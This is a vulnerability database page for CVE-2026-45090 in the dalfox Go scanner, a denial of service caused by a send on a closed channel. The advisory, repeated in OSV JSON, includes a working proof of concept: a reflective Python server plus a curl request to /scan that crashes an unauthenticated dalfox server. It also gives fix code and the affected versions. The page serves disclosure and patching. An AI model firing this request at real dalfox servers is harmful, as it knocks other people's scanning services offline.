Vulnerabilities in pkg:golang/github.com/hahwul/dalfox

PACKAGE
Advisory Identifier: GHSA-2g4x-fq3j-cgq4
Advisory Summary

CVE-2026-45090 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')) affecting Github.com/hahwul/dalfox/v2 libraries in the Go ecosystem. The issue involves dalfox has an unauthenticated remote dos via closed-channel write in `parameteranalysis` (server mode). Remediation is available by upgrading affected packages to version 2.13.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/hahwul/dalfox

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/hahwul/dalfox. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-2g4x-fq3j-cgq4 CVE-2026-45090 HIGH Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)

CVE-2026-45090 at a Glance

CVE Identifier CVE-2026-45090
GHSA Identifier GHSA-2g4x-fq3j-cgq4
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Affected Product Github.com/hahwul/dalfox/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-45090

To remediate this vulnerability, upgrade all affected Github.com/hahwul/dalfox/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/hahwul/dalfox/v2 fixed: 2.13.0
Upgrade github.com/hahwul/dalfox/v2 to 2.13.0
github.com/hahwul/dalfox fixed: Latest secure release
Upgrade github.com/hahwul/dalfox to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/hahwul/dalfox/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45090, inspect your project dependencies for Github.com/hahwul/dalfox/v2:

inspect dependencies for github.com/hahwul/dalfox/v2

Analyze the terminal output to locate any version of Github.com/hahwul/dalfox/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.13.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), where the product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. In Github.com/hahwul/dalfox/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage — which processes POST-body parameters (`dp`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results <- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != ""` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer. - **Attack Complexity:** Low — the attacker controls both trigger conditions: the `data` field that populates the second stage's work queue, and the target URL they point at a reflective server they control. - **Privileges Required:** None — `--api-key` defaults to `""`, so no auth middleware is registered. - **User Interaction:** None. - **Scope:** Unchanged — a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority. - **Confidentiality Impact:** None. - **Integrity Impact:** None. - **Availability Impact:** High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient. **Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` — a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`. ## Affected Component - `pkg/scanning/parameterAnalysis.go` — `ParameterAnalysis()` (lines 436–448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445 - `pkg/scanning/parameterAnalysis.go` — `processParams()` (line 299): `results <- paramResult` panics when `results` is closed ## CWE - **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error - **CWE-404**: Improper Resource Shutdown or Release ## Description ### Two-Stage Channel Lifecycle Ordering Error `ParameterAnalysis` allocates a single `results` channel shared by both worker stages: ```go // pkg/scanning/parameterAnalysis.go:397-408 paramsQue := make(chan string, concurrency) results := make(chan model.ParamResult, concurrency) // ← single channel for both stages go func() { for result := range results { // consumer exits when results is closed mutex.Lock() params[result.Name] = result mutex.Unlock() } }() ``` **First stage** (URL parameters in `p`): ```go // lines 410-437 for i := 0; i < concurrency; i++ { wgg.Add(1) go func() { processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog) wgg.Done() }() } // ... feed paramsQue ... close(paramsQue) wgg.Wait() close(results) // ← line 438: results is now closed; consumer goroutine exits ``` **Second stage** (POST-body parameters in `dp`): ```go // lines 440-448 var wggg sync.WaitGroup paramsDataQue := make(chan string, concurrency) for j := 0; j < concurrency; j++ { wggg.Add(1) go func() { processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog) // ^^^^^^^ — same closed channel wggg.Done() }() } ``` When a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel: ```go // pkg/scanning/parameterAnalysis.go:299 results <- paramResult // panic: send on closed channel ``` A Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process. ### Trigger Conditions Are Both Attacker-Controlled **Condition 1 — `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` → `setP` whenever `options.Data != ""`: ```go // parameterAnalysis.go:41-45 if options.Data != "" { if dp.Get(name) == "" { dp.Set(name, "") } } ``` The attacker sets `"data": "q=test"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `"mining-dict": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work. **Condition 2 — a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist. ### PR #917 Fixed Different Bugs Commit `8a424d1` addressed: 1. Data race: concurrent `append(paramResult.Chars, char)` with no mutex → added `charsMu sync.Mutex` 2. Nil pointer: `resp.Header` accessed when `resp == nil` → added `&& resp != nil` guard Neither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched. ## Proof of Concept ```bash # Step 1 — Attacker-controlled reflective server python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def _h(self): qs = parse_qs(urlparse(self.path).query) n = int(self.headers.get('Content-Length', '0')) body = self.rfile.read(n).decode() if n else '' bq = parse_qs(body) v = qs.get('q', [''])[0] or bq.get('q', [''])[0] out = f'<html><body>{v}</body></html>'.encode() self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(out))) self.end_headers() self.wfile.write(out) def do_GET(self): self._h() def do_POST(self): self._h() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18083), H).serve_forever() PY # Step 2 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — Single unauthenticated request terminates the server process curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18083/?q=test", "options": { "data": "q=test", "mining-dict": true, "use-headless": false, "worker": 1 } }' # Expected: dalfox process exits immediately with: # goroutine N [running]: # panic: send on closed channel # pkg/scanning/parameterAnalysis.go:299 +0x... # Step 4 — Verify server is down curl -s http://127.0.0.1:16664/health # Expected: connection refused ``` No `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write. ## Impact - **Complete server process crash** on a single unauthenticated POST request — no login, no API key, no special permissions required. - All in-flight scans are lost without results. - The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop. - The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions. ## Recommended Remediation ### Option 1: Allocate a fresh `results` channel for the second stage (preferred) The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage. ```go // pkg/scanning/parameterAnalysis.go — replace the second stage block: var wggg sync.WaitGroup paramsDataQue := make(chan string, concurrency) results2 := make(chan model.ParamResult, concurrency) // fresh channel go func() { for result := range results2 { mutex.Lock() params[result.Name] = result mutex.Unlock() } }() for j := 0; j < concurrency; j++ { wggg.Add(1) go func() { processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog) wggg.Done() }() } // ... feed paramsDataQue ... close(paramsDataQue) wggg.Wait() close(results2) // close after all writers are done ``` ### Option 2: Merge both parameter maps before the single worker stage Process `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design: ```go // Before the worker loop, merge dp into p (or into a unified queue): for k := range dp { // feed to the same paramsQue along with p entries } // Then run a single close(paramsQue) → wgg.Wait() → close(results) ``` This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug. ### Option 3: Add a `recover` in processParams goroutines (stopgap only) Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected: ```go go func() { defer func() { if r := recover(); r != nil { printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options) } wggg.Done() }() processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog) }() ``` Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

CVE-2026-45090 Affected Github.com/hahwul/dalfox/v2 Versions

2 component(s)
Fixed Versions:
2.13.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/hahwul/dalfox/v2
Go
< 2.13.0
2.13.0
github.com/hahwul/dalfox
Go
≤ 1.2.2

References

Frequently Asked Questions

What is CVE-2026-45090?
CVE-2026-45090 is a security vulnerability in Github.com/hahwul/dalfox/v2 involving Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode) under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').
Which Github.com/hahwul/dalfox/v2 versions are affected?
Affected versions include releases prior to 2.13.0 across affected packages: github.com/hahwul/dalfox/v2, github.com/hahwul/dalfox.
What version fixes CVE-2026-45090?
Upgrading to 2.13.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/hahwul/dalfox/v2 affected?
Yes, github.com/hahwul/dalfox/v2 is affected in releases prior to 2.13.0. Upgrade your dependency to 2.13.0 or later.
Is github.com/hahwul/dalfox affected?
Yes, github.com/hahwul/dalfox is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-45090?
CVE-2026-45090 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-45090?
CVE-2026-45090 is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.).
How can I check Go dependencies for CVE-2026-45090?
Run the dependency tree command: 'inspect dependencies for github.com/hahwul/dalfox/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2g4x-fq3j-cgq4",
  "modified" : "2026-06-08T20:12:46Z",
  "published" : "2026-05-12T15:08:40Z",
  "aliases" : [ "CVE-2026-45090" ],
  "summary" : "Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)",
  "details" : "## Summary\n\n`ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage — which processes POST-body parameters (`dp`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results <- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != \"\"` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low — the attacker controls both trigger conditions: the `data` field that populates the second stage's work queue, and the target URL they point at a reflective server they control.\n- **Privileges Required:** None — `--api-key` defaults to `\"\"`, so no auth middleware is registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged — a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority.\n- **Confidentiality Impact:** None.\n- **Integrity Impact:** None.\n- **Availability Impact:** High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.\n\n**Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` — a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`.\n\n## Affected Component\n\n- `pkg/scanning/parameterAnalysis.go` — `ParameterAnalysis()` (lines 436–448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445\n- `pkg/scanning/parameterAnalysis.go` — `processParams()` (line 299): `results <- paramResult` panics when `results` is closed\n\n## CWE\n\n- **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error\n- **CWE-404**: Improper Resource Shutdown or Release\n\n## Description\n\n### Two-Stage Channel Lifecycle Ordering Error\n\n`ParameterAnalysis` allocates a single `results` channel shared by both worker stages:\n\n```go\n// pkg/scanning/parameterAnalysis.go:397-408\nparamsQue := make(chan string, concurrency)\nresults := make(chan model.ParamResult, concurrency)   // ← single channel for both stages\n\ngo func() {\n    for result := range results {   // consumer exits when results is closed\n        mutex.Lock()\n        params[result.Name] = result\n        mutex.Unlock()\n    }\n}()\n```\n\n**First stage** (URL parameters in `p`):\n\n```go\n// lines 410-437\nfor i := 0; i < concurrency; i++ {\n    wgg.Add(1)\n    go func() {\n        processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)\n        wgg.Done()\n    }()\n}\n// ... feed paramsQue ...\nclose(paramsQue)\nwgg.Wait()\nclose(results)   // ← line 438: results is now closed; consumer goroutine exits\n```\n\n**Second stage** (POST-body parameters in `dp`):\n\n```go\n// lines 440-448\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nfor j := 0; j < concurrency; j++ {\n    wggg.Add(1)\n    go func() {\n        processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n        //                                   ^^^^^^^ — same closed channel\n        wggg.Done()\n    }()\n}\n```\n\nWhen a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel:\n\n```go\n// pkg/scanning/parameterAnalysis.go:299\nresults <- paramResult   // panic: send on closed channel\n```\n\nA Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process.\n\n### Trigger Conditions Are Both Attacker-Controlled\n\n**Condition 1 — `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` → `setP` whenever `options.Data != \"\"`:\n\n```go\n// parameterAnalysis.go:41-45\nif options.Data != \"\" {\n    if dp.Get(name) == \"\" {\n        dp.Set(name, \"\")\n    }\n}\n```\n\nThe attacker sets `\"data\": \"q=test\"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `\"mining-dict\": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work.\n\n**Condition 2 — a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist.\n\n### PR #917 Fixed Different Bugs\n\nCommit `8a424d1` addressed:\n1. Data race: concurrent `append(paramResult.Chars, char)` with no mutex → added `charsMu sync.Mutex`\n2. Nil pointer: `resp.Header` accessed when `resp == nil` → added `&& resp != nil` guard\n\nNeither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched.\n\n## Proof of Concept\n\n```bash\n# Step 1 — Attacker-controlled reflective server\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def _h(self):\n        qs = parse_qs(urlparse(self.path).query)\n        n = int(self.headers.get('Content-Length', '0'))\n        body = self.rfile.read(n).decode() if n else ''\n        bq = parse_qs(body)\n        v = qs.get('q', [''])[0] or bq.get('q', [''])[0]\n        out = f'<html><body>{v}</body></html>'.encode()\n        self.send_response(200)\n        self.send_header('Content-Type', 'text/html')\n        self.send_header('Content-Length', str(len(out)))\n        self.end_headers()\n        self.wfile.write(out)\n    def do_GET(self): self._h()\n    def do_POST(self): self._h()\n    def log_message(self, *a): pass\nHTTPServer(('127.0.0.1', 18083), H).serve_forever()\nPY\n\n# Step 2 — Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 — Single unauthenticated request terminates the server process\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H 'Content-Type: application/json' \\\n  --data '{\n    \"url\": \"http://127.0.0.1:18083/?q=test\",\n    \"options\": {\n      \"data\": \"q=test\",\n      \"mining-dict\": true,\n      \"use-headless\": false,\n      \"worker\": 1\n    }\n  }'\n\n# Expected: dalfox process exits immediately with:\n# goroutine N [running]:\n# panic: send on closed channel\n#   pkg/scanning/parameterAnalysis.go:299 +0x...\n\n# Step 4 — Verify server is down\ncurl -s http://127.0.0.1:16664/health\n# Expected: connection refused\n```\n\nNo `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write.\n\n## Impact\n\n- **Complete server process crash** on a single unauthenticated POST request — no login, no API key, no special permissions required.\n- All in-flight scans are lost without results.\n- The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop.\n- The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions.\n\n## Recommended Remediation\n\n### Option 1: Allocate a fresh `results` channel for the second stage (preferred)\n\nThe simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.\n\n```go\n// pkg/scanning/parameterAnalysis.go — replace the second stage block:\n\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nresults2 := make(chan model.ParamResult, concurrency)   // fresh channel\n\ngo func() {\n    for result := range results2 {\n        mutex.Lock()\n        params[result.Name] = result\n        mutex.Unlock()\n    }\n}()\n\nfor j := 0; j < concurrency; j++ {\n    wggg.Add(1)\n    go func() {\n        processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)\n        wggg.Done()\n    }()\n}\n\n// ... feed paramsDataQue ...\nclose(paramsDataQue)\nwggg.Wait()\nclose(results2)   // close after all writers are done\n```\n\n### Option 2: Merge both parameter maps before the single worker stage\n\nProcess `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design:\n\n```go\n// Before the worker loop, merge dp into p (or into a unified queue):\nfor k := range dp {\n    // feed to the same paramsQue along with p entries\n}\n// Then run a single close(paramsQue) → wgg.Wait() → close(results)\n```\n\nThis is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.\n\n### Option 3: Add a `recover` in processParams goroutines (stopgap only)\n\nCatching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:\n\n```go\ngo func() {\n    defer func() {\n        if r := recover(); r != nil {\n            printing.DalLog(\"ERROR\", fmt.Sprintf(\"processParams panic recovered: %v\", r), options)\n        }\n        wggg.Done()\n    }()\n    processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n}()\n```\n\nOption 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/hahwul/dalfox/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.13.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.12.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/hahwul/dalfox"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.2.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45090"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/hahwul/dalfox"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-362", "CWE-404" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-12T15:08:40Z",
    "nvd_published_at" : "2026-05-27T18:16:25Z"
  }
}